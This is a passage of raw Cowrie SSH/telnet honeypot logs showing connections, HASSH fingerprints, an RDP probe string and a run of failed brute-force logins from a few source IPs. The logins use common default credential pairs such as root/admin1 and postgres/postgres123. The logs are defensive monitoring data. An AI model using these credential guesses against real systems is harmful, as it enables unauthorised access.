","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:24.692415Z","src_ip":"45.156.87.204","session":"2a0b88c517e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1","message":"login attempt [root/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:25.250184Z","src_ip":"45.156.87.204","session":"2a0b88c517e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:26.336552Z","src_ip":"45.156.87.204","session":"2a0b88c517e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":33822,"dst_ip":"159.203.135.109","dst_port":22,"session":"a54e756aec1d","protocol":"ssh","message":"New connection: 45.156.87.204:33822 (159.203.135.109:22) [session: a54e756aec1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:28.518519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:28.523162Z","src_ip":"45.156.87.204","session":"a54e756aec1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:28.605592Z","src_ip":"45.156.87.204","session":"a54e756aec1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"123456","message":"login attempt [deployer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:28.853204Z","src_ip":"45.156.87.204","session":"a54e756aec1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":56688,"dst_ip":"159.203.135.109","dst_port":22,"session":"45b45d2256f0","protocol":"ssh","message":"New connection: 167.172.81.52:56688 (159.203.135.109:22) [session: 45b45d2256f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:29.570002Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:29.574029Z","src_ip":"167.172.81.52","session":"45b45d2256f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:29.577461Z","src_ip":"167.172.81.52","session":"45b45d2256f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:29.941926Z","src_ip":"45.156.87.204","session":"a54e756aec1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":33834,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f5b96500917","protocol":"ssh","message":"New connection: 45.156.87.204:33834 (159.203.135.109:22) [session: 4f5b96500917]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:31.919063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:31.924025Z","src_ip":"45.156.87.204","session":"4f5b96500917","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:32.006522Z","src_ip":"45.156.87.204","session":"4f5b96500917","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin1","message":"login attempt [admin1/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:32.252607Z","src_ip":"45.156.87.204","session":"4f5b96500917","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:33.337889Z","src_ip":"45.156.87.204","session":"4f5b96500917","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":105.06910824775696,"message":"Connection lost after 105 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:34.238940Z","src_ip":"152.42.224.71","session":"77dcfa233fa4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":60340,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2e3ab21771a","protocol":"ssh","message":"New connection: 45.156.87.204:60340 (159.203.135.109:22) [session: e2e3ab21771a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:35.431298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:35.513291Z","src_ip":"45.156.87.204","session":"e2e3ab21771a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:35.757466Z","src_ip":"45.156.87.204","session":"e2e3ab21771a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres123","message":"login attempt [postgres/postgres123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:36.114849Z","src_ip":"45.156.87.204","session":"e2e3ab21771a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.405497550964355,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:37.159790Z","src_ip":"152.42.224.71","session":"eefd14be3ea0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:37.200098Z","src_ip":"45.156.87.204","session":"e2e3ab21771a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":60342,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f000d317c59","protocol":"ssh","message":"New connection: 45.156.87.204:60342 (159.203.135.109:22) [session: 5f000d317c59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:39.357008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:39.361593Z","src_ip":"45.156.87.204","session":"5f000d317c59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:39.444428Z","src_ip":"45.156.87.204","session":"5f000d317c59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"12345678","message":"login attempt [postgres/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:39.697649Z","src_ip":"45.156.87.204","session":"5f000d317c59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:40.959249Z","src_ip":"45.156.87.204","session":"5f000d317c59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":60936,"dst_ip":"159.203.135.109","dst_port":22,"session":"89fa8c493f80","protocol":"ssh","message":"New connection: 45.156.87.204:60936 (159.203.135.109:22) [session: 89fa8c493f80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:42.869581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:42.877774Z","src_ip":"45.156.87.204","session":"89fa8c493f80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:42.959416Z","src_ip":"45.156.87.204","session":"89fa8c493f80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gd","password":"gd","message":"login attempt [gd/gd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:43.451152Z","src_ip":"45.156.87.204","session":"89fa8c493f80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:44.536047Z","src_ip":"45.156.87.204","session":"89fa8c493f80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":53324,"dst_ip":"159.203.135.109","dst_port":22,"session":"f981bee2d469","protocol":"ssh","message":"New connection: 47.237.167.49:53324 (159.203.135.109:22) [session: f981bee2d469]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:46.017673Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":60950,"dst_ip":"159.203.135.109","dst_port":22,"session":"085c19ad8b63","protocol":"ssh","message":"New connection: 45.156.87.204:60950 (159.203.135.109:22) [session: 085c19ad8b63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:46.788082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:46.792366Z","src_ip":"45.156.87.204","session":"085c19ad8b63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:46.873857Z","src_ip":"45.156.87.204","session":"085c19ad8b63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45890,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfb5d30859e8","protocol":"telnet","message":"New connection: 152.42.224.71:45890 (10.17.0.5:23) [session: dfb5d30859e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:46.914692Z"}
{"eventid":"cowrie.session.closed","duration":24.024473190307617,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:46.927207Z","src_ip":"152.42.224.71","session":"369cc4034961","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"data","password":"data","message":"login attempt [data/data] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:47.122819Z","src_ip":"45.156.87.204","session":"085c19ad8b63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:48.207634Z","src_ip":"45.156.87.204","session":"085c19ad8b63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":60970,"dst_ip":"159.203.135.109","dst_port":22,"session":"2cf056a1b176","protocol":"ssh","message":"New connection: 45.156.87.204:60970 (159.203.135.109:22) [session: 2cf056a1b176]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:50.312172Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:50.316362Z","src_ip":"45.156.87.204","session":"2cf056a1b176","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:50.401174Z","src_ip":"45.156.87.204","session":"2cf056a1b176","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword1","message":"login attempt [root/P@ssword1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:50.646332Z","src_ip":"45.156.87.204","session":"2cf056a1b176","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:51.732890Z","src_ip":"45.156.87.204","session":"2cf056a1b176","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:52.179720Z","src_ip":"47.237.167.49","session":"f981bee2d469","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":46412,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7e5da2e6086","protocol":"ssh","message":"New connection: 45.156.87.204:46412 (159.203.135.109:22) [session: b7e5da2e6086]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:53.879999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:53.891693Z","src_ip":"45.156.87.204","session":"b7e5da2e6086","protocol":"ssh"}
